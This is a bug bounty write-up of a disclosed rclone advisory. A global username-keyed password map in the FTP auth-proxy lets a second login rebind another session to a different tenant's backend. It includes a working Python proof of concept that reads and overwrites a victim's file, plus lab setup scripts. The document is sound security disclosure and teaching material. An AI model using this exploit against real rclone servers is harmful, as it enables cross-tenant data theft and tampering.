# rclone: FTP cross-session auth-proxy backend confusion

rclone's FTP auth-proxy stored passwords in a username-keyed global map, so a later login rebound an existing session to another user's backend, enabling cross-tenant read/write/delete.

- Payout: Research
- Severity: high
- Program: rclone
- Found by: cyberlanc3r
- Disclosed: 2026-09-10
- CVE: CVE-2026-88017
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-c476-6w5q-jw77
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-c476-6w5q-jw77
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:go technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** rclone serve ftp with --auth-proxy (FTP auth-proxy driver)
**Root cause:** The FTP auth-proxy driver stores one obscured password per username in a driver-global map (`userPass map[string]string`) instead of binding the credential/VFS to the authenticated FTP session; getVFS re-authorizes every operation using whichever password was most recently stored for that username.
**Steps:**
1. Set up an auth-proxy script that maps password tokens to distinct local roots while requiring username `shared` (attacker-token -> /tmp/rclone-ftp-attacker, victim-token -> /tmp/rclone-ftp-victim).
2. Start `./rclone serve ftp --auth-proxy "python3 /tmp/rclone-ftp-proxy.py" --addr 127.0.0.1:2121 --passive-port 30000-30010`.
3. Session A logs in as `shared`/`attacker-token` and confirms `RETR attacker.txt` returns attacker-only content; `victim.txt` is not visible.
4. Session B logs in as `shared`/`victim-token`, overwriting `userPass["shared"]`.
5. Session A issues `RETR victim.txt` and receives the victim secret, then `STOR victim.txt` overwrites the victim root file.
**How found:** Code review of cmd/serve/ftp/ftp.go: noticed `userPass` is driver-global and keyed only by username, while cmd/serve/proxy deliberately keys its VFS cache by username+credential+client IP — the mismatch between session-scoped proxy caching and username-scoped credential storage revealed the rebinding.
**Exploitation:** Attacker holds a valid low-privilege auth-proxy credential for a shared username, keeps the FTP session open, and waits for another principal to authenticate with the same username but a different token. The victim's login overwrites the global map entry; the attacker's subsequent FTP commands are re-authorized with the victim's credential and execute against the victim's backend, yielding read, write and delete over all objects in that root.
**Escalation:** Cross-tenant pivot: from a single low-privilege credential to full read/write/delete authority over another tenant's backend root, without ever knowing the victim credential.
**Insight:** When a proxy layer keys backend caches by credential but the front-end driver stores auth state by username, look for session-rebinding: any per-username global map in an auth-proxy driver is a cross-session identity bug waiting for a second login with the same username.

## Proof of concept (copied exactly from the original report)

**Python FTP client cross-session overwrite PoC**

```
python3 - <<'PY'
import ftplib
import io

def connect(password):
    ftp = ftplib.FTP()
    ftp.connect("127.0.0.1", 2121, timeout=5)
    ftp.login("shared", password)
    return ftp

attacker = connect("attacker-token")

# Establish the attacker's original authority.
original = bytearray()
attacker.retrbinary("RETR attacker.txt", original.extend)
assert original == b"attacker-only\n"

try:
    attacker.size("victim.txt")
    raise AssertionError("victim file unexpectedly visible before overwrite")
except ftplib.error_perm:
    pass

# A second principal logs in with the same username and a different token.
victim = connect("victim-token")
assert victim.size("victim.txt") > 0

# The first session is now silently rebound to the victim backend.
stolen = bytearray()
attacker.retrbinary("RETR victim.txt", stolen.extend)
print(stolen.decode().strip())
attacker.storbinary("STOR victim.txt", io.BytesIO(b"modified-by-first-session\n"))

attacker.quit()
victim.quit()
PY
```

**Auth-proxy script mapping tokens to roots**

```
cat > /tmp/rclone-ftp-proxy.py <<'PY'
#!/usr/bin/env python3
import json
import sys

request = json.load(sys.stdin)
roots = {
    "attacker-token": "/tmp/rclone-ftp-attacker",
    "victim-token": "/tmp/rclone-ftp-victim",
}

if request.get("user") != "shared" or request.get("pass") not in roots:
    sys.exit(1)

print(json.dumps({
    "type": "local",
    "_root": roots[request["pass"]],
}))
PY
chmod 700 /tmp/rclone-ftp-proxy.py
```

**FTP server launch with auth-proxy**

```
./rclone serve ftp \
  --auth-proxy "python3 /tmp/rclone-ftp-proxy.py" \
  --addr 127.0.0.1:2121 \
  --passive-port 30000-30010
```

